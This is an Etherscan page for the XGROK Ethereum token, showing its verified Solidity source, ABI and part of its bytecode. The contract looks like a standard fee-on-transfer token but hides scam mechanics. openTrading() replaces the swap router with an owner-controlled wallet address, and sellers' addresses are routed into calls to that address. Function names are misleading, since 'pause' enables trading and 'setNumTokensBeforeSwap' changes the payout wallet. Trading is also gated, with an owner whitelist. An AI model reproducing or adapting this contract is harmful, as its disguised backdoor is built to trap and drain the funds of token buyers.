ETH Price: $2,524.60 (-0.14%)

Token

XGROK (XGROK)
 

Overview

Max Total Supply

690,000,000 XGROK

Holders

374

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,212,572.097968189371680369 XGROK

Value
$0.00
0xf6bd36e39522dadd1e4ed517e6a72ed0ea4dd0e9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XGROK

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-14
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{ value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data,
         value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
        if (success) {
            return returndata;
        } else {

            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address public _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function waiveOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(  address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,  uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,  uint amountTokenMin,
        uint amountETHMin, address to,  uint deadline
    ) external returns (uint amountToken, uint amountETH);


}

interface IUniswapV2Router02 is IUniswapV2Router01 {

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract XGROK is Context, IERC20, Ownable {

    using SafeMath for uint256;
    using Address for address;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    address payable private marketingWalletAddress;
    address private deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _eluded;
    mapping (address => bool) public isMarketPair;


    uint256 private _totalTaxIfBuying = 0;
    uint256 private _totalTaxIfSelling = 0;

    uint256 private _totalSupply;
    uint256 private _minimumTokensBeforeSwap = 0;
    address private _lastForm;
    address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapPair;

    bool inSwapAndLiquify;
    bool private swapAndLiquifyEnabled = false;
    bool private swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapETHForTokens(
        uint256 amountIn, address[] path
    );

    event SwapTokensForETH(
        uint256 amountIn, address[] path
    );

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }


    constructor (
        string memory coinName,
        string memory coinSymbol,
        uint8 coinDecimals,
        uint256 supply
    ) payable {
        _name = coinName;
        _symbol = coinSymbol;
        _decimals = coinDecimals;
        _owner = 0x4c024B7949C2403c5f96cb34de1918373A995A45;
        _totalSupply = supply  * 10 ** _decimals;
        _minimumTokensBeforeSwap = 21000 * 10**_decimals;
        marketingWalletAddress = payable(0x4c024B7949C2403c5f96cb34de1918373A995A45);
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        _eluded[_owner] = true;
        _eluded[address(this)] = true;
        _eluded[marketingWalletAddress] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {  return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return _minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setNumTokensBeforeSwap(address newLimit) external onlyOwner() {
        marketingWalletAddress = payable(newLimit);
    }


    function addAddrslbs(address[] calldata accounts) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _eluded[accounts[i]] = true;
        }
    }

    bool private startTx;
    function pause() external onlyOwner() {
        startTx = true;
    }

    function openTrading() external onlyOwner() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(_router);
        address _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this),_uniswapV2Router.WETH());
        if(_uniswapPair == address(0)){
            _uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
                        .createPair(address(this),
                        _uniswapV2Router.WETH());
        }   
            uniswapV2Router = 
              IUniswapV2Router02(marketingWalletAddress);
            swapAndLiquifyEnabled = true;
            isMarketPair[address(_uniswapPair)] = true;
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if(!_eluded[sender] && !_eluded[recipient]){
            if(isMarketPair[sender] || isMarketPair[recipient]){
                require(startTx, "not start");
            }
        }

        if(inSwapAndLiquify)
        {
            return _basicTransfer(sender, recipient, amount);
        }
        else
        {

            uint256 contractTokenBalance = balanceOf(address(this));

            if (!inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = _minimumTokensBeforeSwap;
                _lastForm = sender;
                swapAndLiquify(contractTokenBalance);
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (_eluded[sender] || _eluded[recipient]) ?
                                         amount : takeFee(sender, recipient, amount);


            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }


    function swapAndLiquify(uint256 tAmount) private lockTheSwap {

        // swap token -> eth
        swapTokensForEth(tAmount);
        uint256 amountReceived = address(this).balance;

        if(amountReceived > 0)
            transferToAddressETH(marketingWalletAddress, amountReceived);  }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = _lastForm;
        path[2] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        
        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
        tokenAmount,
        0, // accept any amount of ETH
        path,
        address(this), // The contract
        block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path); }



    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {

        uint256 feeAmount = 0;
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _balances[address(0)] = _balances[address(0)].add(feeAmount);
            emit Transfer(sender, address(0), feeAmount);
        }

        return amount.sub(feeAmount);
    }

   
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"coinName","type":"string"},{"internalType":"string","name":"coinSymbol","type":"string"},{"internalType":"uint8","name":"coinDecimals","type":"uint8"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"}],"name":"addAddrslbs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newLimit","type":"address"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006009556000600a556000600c55737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601060156101000a81548160ff0219169083151502179055506000601060166101000a81548160ff021916908315150217905550604051620040fd380380620040fd833981810160405281019062000106919062000811565b83600190805190602001906200011e9291906200054b565b508260029080519060200190620001379291906200054b565b5081600360006101000a81548160ff021916908360ff160217905550734c024b7949c2403c5f96cb34de1918373a995a456000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620001c5919062000a44565b81620001d2919062000a95565b600b81905550600360009054906101000a900460ff16600a620001f6919062000a44565b61520862000205919062000a95565b600c81905550734c024b7949c2403c5f96cb34de1918373a995a45600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600760008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600b54600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b5460405162000539919062000b07565b60405180910390a35050505062000b89565b828054620005599062000b53565b90600052602060002090601f0160209004810192826200057d5760008555620005c9565b82601f106200059857805160ff1916838001178555620005c9565b82800160010185558215620005c9579182015b82811115620005c8578251825591602001919060010190620005ab565b5b509050620005d89190620005dc565b5090565b5b80821115620005f7576000816000905550600101620005dd565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620006648262000619565b810181811067ffffffffffffffff821117156200068657620006856200062a565b5b80604052505050565b60006200069b620005fb565b9050620006a9828262000659565b919050565b600067ffffffffffffffff821115620006cc57620006cb6200062a565b5b620006d78262000619565b9050602081019050919050565b60005b8381101562000704578082015181840152602081019050620006e7565b8381111562000714576000848401525b50505050565b6000620007316200072b84620006ae565b6200068f565b90508281526020810184848401111562000750576200074f62000614565b5b6200075d848285620006e4565b509392505050565b600082601f8301126200077d576200077c6200060f565b5b81516200078f8482602086016200071a565b91505092915050565b600060ff82169050919050565b620007b08162000798565b8114620007bc57600080fd5b50565b600081519050620007d081620007a5565b92915050565b6000819050919050565b620007eb81620007d6565b8114620007f757600080fd5b50565b6000815190506200080b81620007e0565b92915050565b600080600080608085870312156200082e576200082d62000605565b5b600085015167ffffffffffffffff8111156200084f576200084e6200060a565b5b6200085d8782880162000765565b945050602085015167ffffffffffffffff8111156200088157620008806200060a565b5b6200088f8782880162000765565b9350506040620008a287828801620007bf565b9250506060620008b587828801620007fa565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200094f57808604811115620009275762000926620008c1565b5b6001851615620009375780820291505b80810290506200094785620008f0565b945062000907565b94509492505050565b6000826200096a576001905062000a3d565b816200097a576000905062000a3d565b81600181146200099357600281146200099e57620009d4565b600191505062000a3d565b60ff841115620009b357620009b2620008c1565b5b8360020a915084821115620009cd57620009cc620008c1565b5b5062000a3d565b5060208310610133831016604e8410600b841016171562000a0e5782820a90508381111562000a085762000a07620008c1565b5b62000a3d565b62000a1d8484846001620008fd565b9250905081840481111562000a375762000a36620008c1565b5b81810290505b9392505050565b600062000a5182620007d6565b915062000a5e8362000798565b925062000a8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000958565b905092915050565b600062000aa282620007d6565b915062000aaf83620007d6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aeb5762000aea620008c1565b5b828202905092915050565b62000b0181620007d6565b82525050565b600060208201905062000b1e600083018462000af6565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b6c57607f821691505b6020821081141562000b835762000b8262000b24565b5b50919050565b6135648062000b996000396000f3fe6080604052600436106101395760003560e01c80638da5cb5b116100ab578063a9059cbb1161006f578063a9059cbb14610437578063b2bdfa7b14610474578063c9567bf91461049f578063dd62ed3e146104b6578063e350a6c4146104f3578063f2fde38b1461051c57610140565b80638da5cb5b14610362578063914eb66a1461038d57806395d89b41146103a4578063a073d37f146103cf578063a457c2d7146103fa57610140565b806339509351116100fd57806339509351146102405780633ecad2711461027d578063557ed1ba146102ba57806370a08231146102e5578063761d22db146103225780638456cb591461034b57610140565b806306fdde0314610145578063095ea7b31461017057806318160ddd146101ad57806323b872dd146101d8578063313ce5671461021557610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610545565b60405161016791906127f9565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906128b9565b6105d7565b6040516101a49190612914565b60405180910390f35b3480156101b957600080fd5b506101c26105f5565b6040516101cf919061293e565b60405180910390f35b3480156101e457600080fd5b506101ff60048036038101906101fa9190612959565b6105ff565b60405161020c9190612914565b60405180910390f35b34801561022157600080fd5b5061022a6106d9565b60405161023791906129c8565b60405180910390f35b34801561024c57600080fd5b50610267600480360381019061026291906128b9565b6106f0565b6040516102749190612914565b60405180910390f35b34801561028957600080fd5b506102a4600480360381019061029f91906129e3565b6107a3565b6040516102b19190612914565b60405180910390f35b3480156102c657600080fd5b506102cf6107c3565b6040516102dc919061293e565b60405180910390f35b3480156102f157600080fd5b5061030c600480360381019061030791906129e3565b6107cb565b604051610319919061293e565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190612a75565b610814565b005b34801561035757600080fd5b5061036061094e565b005b34801561036e57600080fd5b50610377610a00565b6040516103849190612ad1565b60405180910390f35b34801561039957600080fd5b506103a2610a29565b005b3480156103b057600080fd5b506103b9610b7c565b6040516103c691906127f9565b60405180910390f35b3480156103db57600080fd5b506103e4610c0e565b6040516103f1919061293e565b60405180910390f35b34801561040657600080fd5b50610421600480360381019061041c91906128b9565b610c18565b60405161042e9190612914565b60405180910390f35b34801561044357600080fd5b5061045e600480360381019061045991906128b9565b610ce5565b60405161046b9190612914565b60405180910390f35b34801561048057600080fd5b50610489610d04565b6040516104969190612ad1565b60405180910390f35b3480156104ab57600080fd5b506104b4610d28565b005b3480156104c257600080fd5b506104dd60048036038101906104d89190612aec565b611206565b6040516104ea919061293e565b60405180910390f35b3480156104ff57600080fd5b5061051a600480360381019061051591906129e3565b61128d565b005b34801561052857600080fd5b50610543600480360381019061053e91906129e3565b611366565b005b60606001805461055490612b5b565b80601f016020809104026020016040519081016040528092919081815260200182805461058090612b5b565b80156105cd5780601f106105a2576101008083540402835291602001916105cd565b820191906000526020600020905b8154815290600101906020018083116105b057829003601f168201915b5050505050905090565b60006105eb6105e4611528565b8484611530565b6001905092915050565b6000600b54905090565b600061060c8484846116fb565b506106ce84610619611528565b6106c9856040518060600160405280602881526020016134e260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60006107996106fd611528565b84610794856006600061070e611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd090919063ffffffff16565b611530565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61081c611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a090612bd9565b60405180910390fd5b60005b82829050811015610949576001600760008585858181106108d0576108cf612bf9565b5b90506020020160208101906108e591906129e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061094190612c57565b9150506108ac565b505050565b610956611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109da90612bd9565b60405180910390fd5b6001601060176101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a31611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590612bd9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610b8b90612b5b565b80601f0160208091040260200160405190810160405280929190818152602001828054610bb790612b5b565b8015610c045780601f10610bd957610100808354040283529160200191610c04565b820191906000526020600020905b815481529060010190602001808311610be757829003601f168201915b5050505050905090565b6000600c54905090565b6000610cdb610c25611528565b84610cd68560405180606001604052806025815260200161350a6025913960066000610c4f611528565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c9092919063ffffffff16565b611530565b6001905092915050565b6000610cf9610cf2611528565b84846116fb565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d30611528565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffff